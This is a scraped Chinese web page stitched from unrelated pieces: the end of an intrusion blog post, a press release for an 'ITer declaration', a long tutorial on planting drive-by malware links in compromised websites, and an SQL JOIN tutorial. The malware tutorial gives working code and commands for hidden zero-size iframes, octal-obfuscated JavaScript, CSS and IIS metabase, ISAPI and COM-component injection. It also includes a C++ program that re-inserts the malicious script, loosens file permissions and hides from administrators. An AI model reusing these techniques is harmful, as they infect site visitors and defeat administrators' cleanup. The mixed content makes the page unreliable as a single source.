到这步基本上网上入侵成功了,可是还没提权,不过把管理员的用户名放到GG上搜了一下发现到处都有他的”足迹”,而且都不能用他的密码登陆,只能社 工和跟踪了,看来又是一个漫长的提权过程,整个网站入侵从开始到拿到权限大致用了2个月时间,等有时间了就想办法提权,谢了稍微多了一点,其实伪静态注入 的利用价值还是很高的,而且结合其他鸡肋的安全问题可以直接威胁到网站甚至服务器的安全,相比之下国内站台烂了,即时LINUX有了WEBSHELL 80%都可以提权,用public key做SSH验证的基本没见过,大概这就是差距吧,先写到这里吧,等有时间了写一个完整的关于伪静态注入和检查方法!!!

摘自 : 落泪红尘's Blog      

    新年伊始,由90ITer联盟提出,黑客X档案、微交流、智凝学会、DSU、桂林火端网络科技有限公司商务经理陈庆华、清华科技园天津分园运营总监周雪峰、爱公益联盟发起人费阳共同修改起草的“ITer宣言”正式在中国互联网八大团体同时对外发布,共创互联新兴力量未来。
    据悉,此次由90ITer联盟发起,八大团体共同发布的“ITer宣言”目的是激励新兴科技力量自身良好发展、吸引业界更加关注中国新兴科技力量的进步,为中国互联网的新时代增添活力而团结新科技力量而写的基于“自由、开放、创新”理念的新一代宣言。标志着新兴科技力量正在逐步登上未来互联科技发展舞台,成为科技界互联网界越来越重要的力量。并逐渐掌握开放与发展的规律并为之努力和延伸它们的意义。
    “ITer宣言”的撰写源于2011年中国互联网与中国科技界的开放、共赢与团队成功之经验,是新兴力量首个宣言式的发展目标。为团结更多的新兴科技力量而更加团结合作,共克难关,共享成果。同时也为推动中国互联网的自由宽松的发展环境贡献了自己的力量。
以下为宣言正文:
ITer宣言
新兴科技力量们:
    我们正处于科技发展的青壮年时期,科技与互联网正在蓬勃发展。而未来的形势将取决于我们现在对待的态度与增长的能力。为此,我们需要“自由、开放、创新”的理念在未来能够继承与发展。
    自由,自由是作为一个人的基本权利,也是科技发展的最主要的推动力,我们要坚持这样的信念,坚持在自由的环境下进行这样的发展与合作。不畏艰险,不畏怨恨,不计前嫌,即使没有自由也要创造出自由,为未来科技的发展贡献力量。
    开放,开放的团队,开放的个人是发展创新的前提,我们需要每个人、每个团队的开放,共同携手应对现在的挑战,创建美好的明天。开放是共赢的,封闭是必败的。不要让一些恩恩怨怨阻碍开放的继续,开放造就奇迹。
    创新,作为科技的重要支柱,我们秉承创新之理念必不可少,作为创新之源,我们需要以整个时代的眼光来看待每一个团队每一个个人的价值,不以创新为己有,不以抄袭为做法。和睦对待每一个创新,和平对待同一个创新。
努力吧,广大的新兴科技力量们!未来在我们之手,互联才能创造崭新的未来!

开始语

摘自 :  dashige's捕捞歌

目录

一 最简单的挂马方式
1.iframe挂马法
2.js文件挂马法
3.CSS中挂马

二 挂马技术升级—进阶篇
1.window.status=''方式
2.JS重定向挂马
3.手动挂马文件隐藏小技巧

三 服务器上挂马技术
1.MetaBase.mxl
2.ISAPI加载挂马

四 GXM挂马时的辅助工具与技巧
1.ASP封包挂马
GXM挂马时的辅助工具与技巧
2.修改最后文件修改日期工具
GXM挂马时的辅助工具与技巧
3.监控特定文件自动插马的无赖工具

五 最后总结

开始语
很多人非常鄙视挂马,但作为HACK必须了解的技术,我们还是要研究的。本文将很细致的讲解挂马,主要就是让一无所知的菜鸟懂得如何挂马。

一,最简单的挂马方式

1. iframe挂马法

作为挂马中最常用的语句,虽然简单,但还是要说下,为了广大的菜菜们。首先解释下iframe标签,它代表HTML内联框架,尤其是以下属性:

提示:
name     定义两人内容页名称,此名称在框架页内连接时会使用到
frameborder   定义了内容页的边框,取值为(1|0).缺省值为1
marginwidth   定义可框架中HTML文件显示的上下边界的宽度,取值为px,缺省值由浏览器决定
marginheight  定义可架框中HTML文件显示左右边界的宽度,取值为px,缺省值由浏览器决定
elign   垂直或水平方式
height  框架的高度
width   框架的宽度

一 般我们常用的属性就是height和width,因此为了让客户看不到我们的网马,就设置height为0,width为0.我们本地测试下,利用记事本 新建一个文件,然后输入代码:<iframe src=http://www.baidu.com width=50></iframe>,保存为*.htm文件。
当把width和height都设置为0后,页面就相当于被"隐藏"了起来,实际中只要把以上代码中src后的地址改成网马地址就可以了。

2. js文件挂马法
由于iframe所利用的代码很明显,由经验的管理员一搜索就可以找到,所以又有人想出了js文件挂马,这招在06年的时候很流行,现在还是主流哦!
首 先建立一个文件,保存为1.htm,里面写入代码为:<script language=javascript src='http://137.0.0.1/tg.js'></script>,因为我是在本地测试的,目录是D:\website 里面有个tg.js文件。

tg.js文件里写挂马语句,比如说:

document.write("<iframe src=http://www.c3389.com width=100 height=100></iframe>");
好了,写完后保存文件,然后访问下1.htm就可以看到效果了。
其实
<script language=javascript src='heep://127.0.0.1/tg.js'></script> 就是调用了tg.js这个文件,当别人访问1.htm的时候就调用tg.js,然后再根据tg.js文件里的内容去访问我们的网马。

这 样,管理员在1.htm中搜索iframe就与挂马无关了,但我们却又能调用网马。 为了让管理员搜索不到iframe字样,最好的办法还是对js文件里的内容进行加密,复制我们JS文件里的内容,把他们转成其他进制。我这有个软件可以进 行转化操作,将要加密的内容复制到"要转的"输入框里,然后单击"给我转!",分别就会在"输出的八进制"和"输出的十六进制"处出现转换后的内容,然后 我就转换八进制复制下来,在js文件里这么写:

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\142\143\75\150\164\164\160\72\57\57\147\147\147\56\142\141\151\155\165\56\143\157\155\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\61\60\60\76\74\57\141\146\162\141\155\145\76\42\51\73")
这样就OK了!已经没有iframe字样了,这确实在早期是个挂马的好招,但是现在这几招也骗不了厉害的管理员了,所以挂马技术还要在研究下去……

3.CSS中挂马
要 想在CSS文件中挂马,先来了解什么是CSS文件。CSS是Cascading Style Sheets的简称,一般称为"层叠样式表",实际上它是一组样式。你可能对CSS这个名词比较陌生,实际上你在浏览网页时,当前网页页面说不定就使用了 CSS。用好CSS能使网页编辑者在排版和设置功能时更加明了。

CSS的语句是内嵌在HTML文档内的,所以,编写CSS的方法和编 写HTML文档的方法一样,只需要在引用CSS的页面部插入<link href="css.css" type="text/css" rel="stylesheet">这样的代码即可。其实就是在当前页面调用外部文件的实现。这跟挂马自然比较"亲近"了。
现在我们就 来CSS中的挂马。首先建立一文件为1.htm,然后写入<link href="css.css" type="text/css" rel="stylesheet">并且保存。接着在同目录下用记事本新建一个css.css文件,里面代码如下
body  {  background-image: url('javascript:document.write("<lframe src=http://www.c3389.com width=50 height=50></iframe>")')  }
再次访问 1.htm,成功调用百度的页面,图就不抓了,和以前没什么区别。不过听网上说,这样的办法会把网站搞乱,说不定会一片空白。那好吧,我们继续网上教的办 法,首先建立一个gxm.htm文件,里面调用CSS文件。调用代码为<link href="css.css" type="text/css" rel="stylesheet">,然后在css.css文件里写入如下代码:
body  {  background-image: url(javacrip:open('http://127.0.0.1/gxml.htm'.'newwindow'.height=0. width=0. top=1000. left=0. toolbar=no. scrollbars=no. resizable=no.location=no.    atus=no'))  }

以上代码是弹出一个窗口,为了部让网站成为一片空白,所以在gxml.htm文件里我们还要继续动手,写段调用js文件的代码,顺便再写段关闭窗口的代码,全部代码如下:
<script src="http://127.0.0.1/gxm.js"></script>      '这个就是我们要真正放木马的地方  <script>  window.opener=null; steTimeout("window.close();".5000)    '意思是5秒关闭对话框,你可以设置,5000的单位是毫秒,5000毫秒就=5秒。  </script>    然后在gxm.js文件里加入这段代码:
document.write('<lframe src=http://www.c3389.com width=500 height=500></iframe>'); 编写好后,我们浏览gxm.htm文件,弹出一个窗口,窗口中的内容是调用的指定站点,大家可以把它修改为自己的挂马的地址。

好了,最基础的部分结束了,我也把自己会的东西很详细地说了一遍,目地还是为了我们这些什么都不懂,而又想学习的菜鸟。当然,这类菜鸟先要懂得如何使用 webshell,这个是前提。至于高手,可以跳过这部分,下面的一大部分里准备了进阶篇,可能有些内容对于高手来说还是比较简单的,但这几招没有被重 视。

二 挂马技术升级—进阶篇

1.window.status='';方式
大家在尝试用iframe的时候,有没有发现IE6.0浏览器中下面的状态栏会出现网马的地址?对于有经验的管理员来说,不是自己网站和熟悉的地址,查看后在一访问就知道是网马。因此,我们要让这个地址不能出现。
现在解释下window.status='';是什么意思,其实它是JS中的windows对象,status只不过是它的属性而已。有关windows对象的介绍如下

---------------------------------------------------------------------------------------------------------------------------------------------
windows对象
它是一个顶层对象,而不是另一个对象的属性

相关属性

defaultStaus   缺省的状态条消息
document     当前显示的文件
frame     窗口里的一个架框,该属性本身也是一个对象
frames array      列举窗口的架框对象的数组,按照这些对象在文档中出现的顺序列出,该属性本身也是一个对象
history     窗口的历史列表,该属性本身也是一个对象
length     窗口类的框架数
location    窗口所显示的文档完整(绝对)URL,该属性本身也是一个对象,不要把它如document,location混淆,后者是当前显示文档的URL。用户可 以改变windows,location(用另一个文档取代当前文档),但却不能改变document,location(因为这是当前显示文档的位置)
name   窗口打开时,赋予该窗口的名字
opener    代表使用windows.poen打开当前窗口(这是Netscape Navigator 3.Obeat 3所引入的新属性)
parent   包含当前架框的窗口的同义词。frame和windows对象的一个属性
self    当前架框的窗口的同义词
status  状态条中的消息
top   包含当前架框的最顶层浏览器窗口的同义词
window    当前窗口或架框的同义词,一self相同

方法

alert()    打开一个Alert消息框
clearTimeout()    来终止setTimeout方法的工作
close()    关闭窗口
confirm()    打开一个Confirm消息框,用户可以选择OK或Cancel。如果用户单击OK,该方法返回true,单击Cancel返回false
biur()   把焦点从指定窗口移开(这是Netscape Navigator 3.0 beta 3 映入的新方法)
foc()    把指定的窗口带到前台 (另一个新方法)
open()   打开一个新窗口
prompt()   打开一个Prompt对话框,用户数可向该框键入文本,并把键入的文本返回到脚本
setTinmeout()    等待一定指令的毫秒数时间,然后运行指令处理程序
Onliad()    页面加载时触发
Onunload()    页面关闭是触发
--------------------------------------------------------------------------------------------------------------------------------------------
这 样,一般只要在JS文件里这样写:window.status='狂人影子';,就能在IE左脚下那里出现"狂人影子"的字样了,而不会出现地址了。当 然,如果把"狂人影子"用空格代替,IE左脚下显示就是空白了,因此,JS挂马的是时候,我们可以在JS文件里写入如下代码:

window.status="":  document.write("<iframe src=http://www.c3389.com width=0 height=0></ifame>"); 其实,我在搞入侵的时候,无意看到别人的代码是这样写的:

window.defaultStates="完成";这又什么用?看看defaultStates属性的解释把,其实是个障眼法,应用的很巧妙,呵呵……(看不明白的话,你的悟性还不够啊!)

2.JS重定向挂马

这 招其实在以前的《黑客手册》上出现过,是剑心大牛的以前文章,我个人感觉这招太牛了,优点就是能躲过N多管理员,缺点就是目标的网站JS文件必须流量大, 这样才有挂马的效果,呵呵!本菜以前有幸入侵过一个音乐站,流量N大,但是它的站右下角经常出现一个JS控制的,类似QQ消息的那种东西。因此。我用了剑 心大牛的那招,因为网马免杀,管理员察觉后查了N天都查不到,最后无赖而重装系统来解决问题。至于这个是什么招?让我来一一解答。

如果你碰到一个流量很大的JS文件(特别是一些音乐站点的音乐播放列表),并且有管理员权限,服务器的WEB是用的微软的IIS,保证网马免杀,速度不卡,那么安定日子你就可以过下去了…………

神神秘秘说了那么多,很吊大家胃口啊,其实就是在JS文件上做手脚!
大 家还记得IIS配置漏洞吗?就是建立一个没有路径的虚拟目录,这样在IIS里是不可见的,比如一个站的流量JS文件是gsm.js,那么我们也建立一个没 有物理路径的虚拟目录gxm.js,然后重定向文件到我们设置的远程地址的JS文件,自然那个原本的JS文件就失去作用了,因为虚拟目录优先于物理目录。 说了这么多。可能很多菜鸟不懂,那我们来实践下就非常明白了。
adsutil.vbs文件放在C:\inetpub\Adminscripts\adsutil.vbs CREATE WSVC/1/Root/gxm "llsWebVirtualDir"
大家可能什么都不懂,我们可以输入cscript Adsutil.vbs来看一下返回信息:
------------------------------------------------------------------------------------------------------------------------
Usage:
ADSUTIL.vbs<cmd>[<path>[<value>]]
Description:
IIS administration utilit that enables the configuration of metabase properties
Supported Commands:      //支持的命令,这个最重要
GET.SET.ENUM.DELETE.CREATE.COPY.APPCREATEINPROC.APPCEATEOUTPROC.APPCREATEPOOLPROC.APPDELETE.APPUNLOAD. APPGETSTATUS
------------------------------------------------------------------------------------------------------------------------
可 以看见,重要的就是支持的Supported Commands命令,我们刚刚输入的命令中,就用了CREATE这个命令。在回头来看看建立虚拟目录的命令,参数中W3SVC/1/Root/gxm代 表是只第一个web服务器地址里的虚拟目录gxm,因此我们要找的就是我们站点的web服务地址。
不可能IIS里就一个站把?现在许多用虚拟主机 的服务器,一般IIS里可能有上百个站呢!我们该怎么的快速寻找了?本人奉献自己的经验给大家:安装IIS后,在服务器上一般都有 MetaBase.xml这个文件(注意,我的XP系统里却没有这个文件。一般的服务器只要安装了IIS,都应该有这个Metbase.xml这个文 件),它的位置在C:\windows\system32\inetsrv下.
一般我们挂马的站点那个站的域名,搜索http://www.c3389.com,大家看见没有那个Location =后面的一串信息就是我们需要挂的站http://www.c3389.com里的目录了,真正应用时还应该加上root,完整的地址是/ML/W3SVC/1540331721/ROOT.
得到了地址,下面就可以打开CMD来创建我们的虚拟不可见的目录了!命令如下:
------------------------------------------------------------------------------------------------------------------
cscript C:\inetpub\AdminScripts\adsutil.vbs CREATE W3SVC/1/Root/gxm/ "llsWebVirtualDir"
创建gxm虚拟无物理路径的目录
cscript C:\inetpub\AdminScripts\adsutil\adsutil.vbs CREATE W3SVC/1/Root/gmx/gmx.js "llsWebVirtualDir"
在gxm虚拟目录里创建gxm.js虚拟无物理路径的目录.
-----------------------------------------------------------------------------------------------------------------------------
接下来就是重定向目录了,命令为:c:\inetpub\adminscripts\adsutil.vbs setW3VC/1/Root/gxm/gxm.js/httpredirecrhttp://www.c3389.com/ADMIN/LDJT/sms.js
-------------------------------------------------------------------------------------------------------------------------------
这样我们一执行,因为虚拟目录比物理路径优先,所以只要调用gxm.js这个文件,就会先访问我们虚拟目录里的这个。但是这个文件因为被我们重定向了,所以会传到
http://www.c3389.com/ADMIN/LDJT/sms.js去,因为这个sms.js文件控制了真正的物理路径里的gxm.js文件。就算管理员这么修改物理路径里的gxm.js,其结果还是去调用我们的sms.js文件。
这样,只要我们在sms.js文件里挂马就行了,呵呵……很巧妙的一招吧!大家要多多练习才能熟练哦

3,手动挂马文件隐藏小技巧

接下来讲讲本人对付一些笨蛋管理员的小招(看过本文的就不能算是笨蛋管理员了),还记得病毒是怎么隐藏自身文件的吗?他们一般就是修改注册表的相关键值,那我们和不利用下?
比如我们有个数据库连接文件comm.asp,由于每个文件都调用,因此就可以把挂马语句放在最里面然后对他进行加隐藏和只读属性(实现把挂马语句放进去)的操作。怎么加了?在CMD模式下输入命令
: attrib +r +h 文件即可。
-r -h -s 的意思就是取消指定文件或目标的只读.隐藏.系统属性,相反的  +r +h +s  就是加上只读.隐藏.系统属性。
当 把文件加了隐藏属性后,一定要把"资源管理器"- "工具"-"文件夹选项"里的"显示隐藏文件"屏蔽掉!我们可以通过简单的修改注册表来达到目地。进入注册表,找到 HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHWALL 下的CheckedValue值,修改成0就可以了,1是恢复,当修改成0后,"显示隐藏文件"就固定在不显示的那个选项上了。
这个是从病毒里学习到的小技巧,看来研究病毒还是很有用的,呵呵……这部分就结束了,下面还又跟我来的挂马技术等着大家了。
三,服务器挂马技术
其实挂马肯定得在服务器上挂的,但这里的服务器挂马是讲利用服务器本身相关文件进行挂马,而且这些文件比较特殊,一般管理员还不能删除。在服务器上挂马,只要流量大,那个效果真是……当
然,得先用netstat -an来看看连接80端口的个数,选择好目标就准备下手了。
1、MetaBase.xml文件修改挂马
大家应该还记得我们在前面才刚刚说过的MetaBase.mxl文件吧?位置在C:\WINDOWS\SYSTEM32\inetsrv,它可真的很重要!首先我们必须有这个服务器的管理权限,然后打开MetaBase.mxl文件,搜索
DefaultDoc="Default.aspx,Default.htm,Default.htm,Default.asp,index.htm,index.asp",
然 后在DefaultDoc下面,DirBrowseFlags的上面加一段话,就是: DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm",这个在C:\Inetpub \wwwroot\iisstart.htm  文件里写我们挂马的语句,尽量隐蔽点。接着在DownlevelAdminlnstance="1"下面 再添加一句EnableDocFooter="TRUE",完成后如下
------------------------------------------------------------------------------------------------------------------------------------------------
DefaultDoc="Default.aspx,Default.htm,Default.asp,index.htm,index.asp"
DefaultDocFooter="FILE:C:\inetpub\wwwroot\iisstart.htm"
DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DrBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
DownlevelAdminlnstance="1"
EnableDocFooter="TRUE"
------------------------------------------------------------------------------------------------------------------------------------------------
这 个时候我们肯定保存不了,因为IIs在调用这个文件,那这么办?我们必须停止IIS!在CMD中输入iisreset /stop,然后以最快的速度保存文件。保存好后,在CMD中输入iisreset /start重新启动IIS,然后就等着服务器流量给你的快感吧,呵呵……

2.ISAPI加载挂马

小知识:
什么是ISAPI: 它是互联网服务应用程序编程接口(Internet Sever Application Programming Internet)的缩写,是一组API函数,可以用来开发扩展IIS程序
------------------------------------------------------------------------------------------------------------------------------------------------
这种方法需要使用一些工具,步骤是:首先打开GetiD.exe获取注册号,然后运行IIS_AD.exe生成DLL文件,加载到IIS应用池就OK了。有了它,服务器任何的一个页面都会广告代码或者网马代码。
我们先看看初始的IIS_AD.ini文件里的内容:
Copy code
[IIS_AD]
ADjs=<script language='JavaScript>alert(' Welcome to User IIS AD ! ' );</script>
------------------------------------------------------------------------------------------------------------------------------------------------
现在开始注册,首先打开GetID.exe,然后点获取,获得注册账号,复制下注册号,然后打开IIS_AD.exe,把注册号粘贴进去,接着把时间调远点,最后点生成。
接着我们修改iis_ad.ini的文件,它本来是:
[IIS_AD]
ADjs=<script language=' javasecript' >alert(' Welcome to User IIS AD ! '):</script>

我们就修改成

[IIS_AD]
ADjs=<iframe scr=http://http://www.c3389.com width=600 height=700></iframe>
------------------------------------------------------------------------------------------------------------------------------------------------
下面我们要把ad.dll和iis_ad.ini这两个文件藏的深一点,打开IIS在("控制面板"—"管理工具"—"Internet 信息服务"),在要挂马的站点上按鼠标右键选择"属性",在"ISAPI"标签选项中,把我们的DLL文件添加进去。
好了,现在随便访问这个站的一个页面就会执行我们的代码,我在XP下的IIS测试通过。在2003下,我要说点事情,加载DLL文件的时候,首先把DLL和INI放到一个目录,然后给予足够的权限,在加载
ISAPI DLL文件。接着在IIS下"允许所有未知ISAPI",在WEB服务扩展下加载DLL文件,然后重启IIS
四. gxm挂马时的辅助工具与技巧

最后一大部分了,也是我自己在挂马中所领悟出来的超级独家经验大放送的时候了,呵呵。可能技术不太高超,但也是自己的一点心得,与大家分享,希望大家好好学习。

1. ASP封包挂马

大家知道吗?有些高级的ASP代码是封装在DLL文件里面的,比如自己开发的ASP组件,目的就是不公布代码,而且一些自己用ASP脚本写的常用函数也可以封装在DLL里。挂马技术就是为了让管理员看不到我们的iframe标签,因为有iframe才能挂马。
不知道这种ASP封包挂马技术大家自己手动搞过没有?反正是我自己想出来的,就算别人以前也知道,那也是思路相同而已,绝不存在抄袭,我在这里就教给大家吧。前提条件是要求我们有管理员权限(毕竟DLL文件是需要注册的)和目标必须是用ASP脚本建立的站点。
其实也很简单,就是利用VB写一个简单的ASP封装程序而已。至于代码我就不解释了,就教下怎么操作就行了,首先我们需要安装一个完整的VB编译器,打开VB,选择ACTIVEXDLL工程
然 后选择"打开",在上面点"工程"—"引号",进入选择页面,选择"Microsoft Active SerVer Pages Object Library",然后"确定"即可。菜鸟不用学习代码是什么意思,反正我是花了很长时间反复测试,终于编译成功了,大家就用我的代码吧。
-----------------------------------------------------------------------------------------------------------------------------------------------
private    MyScriotingContext As ScriptingContext  private MyResponse As Response  public Sub OnStartPage(PassedScriptingContext AS ScriptingContext)  Set MyScriptingContext = PassedScriptingContext  Set Myresponse = MyscriptingContext.Response  End Sub Public Sub OnEndpage()  Set MyResponse = Nothing End Sub Public Sub Start()  MyResponse.Write "<script language+javasecript src='http://127.0.0.1/gxm.js'></script>" End Sub ------------------------------------------------------------------------------------------------------------------------------------------
直接把以上代码复制进去,大家如果需要改的话,就改

MyResponse.Write "<scriptlanguage=javascript src='http://127.0.1/gxm.js'></script>" 这句,意思应该都能明白

ASP是需要调用的,那就需要调用名。其实这些组建的名字改工程名就是了,在右边选择工程名,我改成vlegxm。
然后修改类名为gxml,调用方法如下:
<%  Set ObjReference=Sever.CreateObject("gxm.gxm1")  ObjReference = nothing  %>   好了现在利用VB编译下,选择"文件"—"生成",gxm.dll文件所生成的目录,然后执行命令"regsvr32 gxm.dll进行注册
好了现在建立了一个1.asp文件,里面就写调用的代码。因为我们的组件调用的是 http://127.0.0.1/gxm.js,因此我们还要再建立一个gxm.js文件,里面写入如下代码:
document.write('<iframe src=http://www.c3389.com width=500 height=500>  </iframe>');   现在我们去访问下看看
呵呵,在实际应用中,一般conn.asp这样的数据库连接文件不是也要调用组件吗?我们就写到里面去迷惑管理员,这样就查不到iframe标签了!还有两个小的心得,休息一下,我们继续。

2.修改最后文件修改日期工具

前 面刚刚给大家介绍过利用ASP封包挂马,只要修改下conn.asp文件进行调用就可以了。不过管理员只要通过查看修改的 "文件时间" 就能知道什么文件被修改过了,然后覆盖掉站点内觉得可疑的文件,我们的成果就又完蛋了!因此我们不能让管理员察觉到时间不对,这里就来讲讲.修改文件的最 后修改日期.

我站点有一些ASP木马上有这类功能,但是有的是后因为权限的问题(很多时候需要管理员的权限)而无法修改,虽然提示却成功了,呵呵。小菜我自己写了个程序,就直接奉献给大家了,执行后会出现说明
一般我修改好conn.asp文件后,必须对它修改文件最后修改日期。这个小工具的参数有7个,大家应该都能看懂,比如我要修改教cmd.txt,然后照所进行命令执行就可以了。

3.监控特定文件自动插马的无赖工具

这个确实是个无赖,呵呵,以前碰到一个服务器上的管理员,他很会查我的代码,因此为了对付他,我特别自己写了个程序。其实也就是监控指定的文件,如果没有发现挂马语句,就马上插进去。
程序的主流是这样的:"先检查文件里有无挂马语句,没有的话,就给目标足够的访问权限,取消对自身的拒绝权限。以所有权先打开文件,定位到文件最后位置进行插马。接着再检测,有了就跳过,等一段时间再检测。

我的技术不足,就不知道怎么利用AIP函数来操作权限设置,无奈之下,只好在程序工程中用命令来代替了,这里把代码贴出来:
------------------------------------------------------------------------------------------------------------------------------------------------
#include "stdafx.h"  #include"process.h"  #include"windows.h"  #include"string.h"  #include"iostream.h"  #include"fstream.h"  char path2[256]="E:\\website\\default.asp";  char guama[256]="\n<scripc language=javascript src='http://http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";  BOOL APIENTRY DIIMain( HANDLE hModule,                                                  DWORD  uI_reason_for_call,                                                                               )  {    switch  (  ul_reason_for_call  )     {                  case DLL_PROCESS_ATTACH:                  {                                    while(1)  {  ifrstream ifs(path2):  char DileContent[5000];  memset(FileContent,0,5000);//初始化 FileContent  ifs.read(FileContent,5000);//读取数据  ifs.close( )://关闭ifstream对象  if(strstr(FileContent,guama)==0)  {      char  path[256]="E:\\website\\\\default.asp";  char  mingling[256]="cacls";       strcat(mingling.path1);       char ps[25]="/T /E /C /G everyone:F";  strcat(mingling.ps);        char mingling1[256]="cacls ";  strcat(mingling.path1);  char pa[30]="/T /E /C /G administrator:F";       stcat(mingling1.pa);  system(mingling);       system(mingling1);  SetFileAttributes(path2.GetFileAttributes(path1) & ~FILR_ATTRIBUTE_READONLY);      ofstream outfile;  outfile.open(path2,ios: :app);  if  (!outfile)  {               exit(o);  }  outfile<<guama;  outfile.close( );    }    Sleep(9000);      }                        }              default;                              return  TRUE;            }             return  TRUE;      } -----------------------------------------------------------------------------------------------------------------------------------------------------
没有基础的朋友不要紧,只要安装个VC++6.0,然后建立一个EXE工程或DLL工程,主要代码就在里面了。我贴出来的是DLL工程代码,因为我有个插入进程的EXE程序,可以吧DLL插进去。不然很容易被管理员结束进程,从而导致无法监控。
当然,选择EXE工程的朋友,网上已经有些工具,能让京城隐藏、无法删除,或者rootkit等,大家喜欢怎么弄就怎么弄啦,只要把程序里3处地方进行修改即可。
----------------------------------------------------------------------------------------------------------------------------------------------------
char path2[256]="E:\\website\\default.asp";
char path1[256]="E:\\website\\default.asp";
char guama[256]"n<script language=javasceript  src'=http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";
-----------------------------------------------------------------------------------------------------------------------------------------------------
上面这段代码的前面两个都是我们需要监控的代码,第三个就是要插入的挂马语句代码,最终编译一下就OK了。其实这个办法只是为了让管理员郁闷而已,因为管理员每次都能检查到,几天后管理员肯定重装系统,如果你要折磨他的话……
这部分可能对于真正挂马菜鸟来说是有难度,毕竟是我的少部分心得而已,还是建议先把前面大家都学会的学号,呵呵!

五,最后总结

我 记得某期rabbitsafe兄弟写了一篇屏蔽iframe挂马的文章,其实以前管理员也是这么对我的,这东西还不错,要是配上我的组件封包这样调用,那 效果更佳了。为什么呢?因为管理员把iframe标签当成是测品,我们挂马的人碰到那样屏蔽的代码也和管理员一样,看见了就测,所以攻防永远是个永恒的话 题。呵呵,希望管理员能利用上ASP封包组件来调用屏蔽IFRAME,这样能更大的程度上保护网站的访问用户。

sql的join分为三种,内连接、外连接、交叉连接。

以下先建2张表,插入一些数据,后续理解起来更方便一些。

create table emp(empno int, name char(20),depart int);

create table depart(dpno int,dpname char(20));

insert into emp values (1,'bell',1);

insert into emp values (2,'smith',2);

insert into emp values (3,'jet',3);

insert into depart values (1,'design');

insert into depart values (2,'database');

insert into depart values (4,'warehouse');

1. 内连接inner join  仅列出两表能按照join条件连接起来的信息,其他的信息不显示

select a.*,b.* from emp a inner join depart b on a.depart=b.dpno;

empno   name         depart       dpno       dpname

----------------------------------------------------------------------

1              bell                1                   1         design

2              smith            2                   2         database

和如下语句得到的信息是一样的:

 select a.*,b.* from emp a,depart b where a.depart=b.dpno;

2. 外连接outer join

(1)左外连接left outer join = left join  显示左表的所有记录,右表符合join条件的信息显示,不符合的置空。

select a.*,b.* from emp a left join depart b on a.depart=b.dpno;

empno   name         depart       dpno       dpname

----------------------------------------------------------------------

1              bell                1                   1         design

2              smith            2                   2         database

3              jet                  3                 

(2)右外连接right outer join = right join 和left join相反,显示右表的所有记录,左表符合join条件的信息显示,不符合的置空。

select a.*,b.* from emp a right join depart b on a.depart=b.dpno;

empno   name         depart       dpno       dpname

----------------------------------------------------------------------

1              bell                1                   1         design

2              smith            2                   2         database

                                                            4         warehouse

(3)全外连接full outer join = full join ,左右两表的信息都全部显示,符合join条件的信息显示,不符合的置空。

select a.*,b.* from emp a full join depart b on a.depart=b.dpno;

empno   name         depart       dpno       dpname

----------------------------------------------------------------------

1              bell                1                   1         design

2              smith            2                   2         database

                                                            4         warehouse

3              jet                  3  

3.交叉连接,也即生成两表的笛卡尔积。得到的记录相当于两表记录的乘积。

select a.*,b.* from emp a cross join depart b ;

empno   name         depart       dpno       dpname

----------------------------------------------------------------------

1              bell                1                   1         design

2              smith            2                   1         design         

3              jet                  3                   1         design

1              bell                1                   2         database

2              smith            2                   2         database         

3              jet                  3                   2         database

1              bell                1                   4         warehouse

2              smith            2                   4         warehouse

3              jet                  3                   4         warehouse

相当于如下语句:

select a.*,b.* from emp a,depart b;

需要注意的是交叉连接后只能跟where,不可以跟on。

如下语句是错的:

select a.*,b.* from emp a cross join depart b on a.depart=b.dpno;

要修改为这样的才正确:

select a.*,b.* from emp a cross join depart b where a.depart=b.dpno;

一般来讲,在大表关联的时候,建议使用inner join或者left join,不建议使用cross join或者where

比如:

select a.*,b.* from emp a,depart b where a.depart=b.dpno ;                                     A     ---不推荐

select a.*,b.* from emp a cross join depart b where a.depart=b.dpno ;                  B     ---不推荐

select a.*,b.* from emp a inner join depart b on a.depart = b.dpno;                         C    ----推荐

这是因为A,B中,sql需要先对两表生成笛卡尔积,然后才根据where后的条件进行判断,而使用C则不需要。所以C较有效率

 

摘自 猫叔的口粮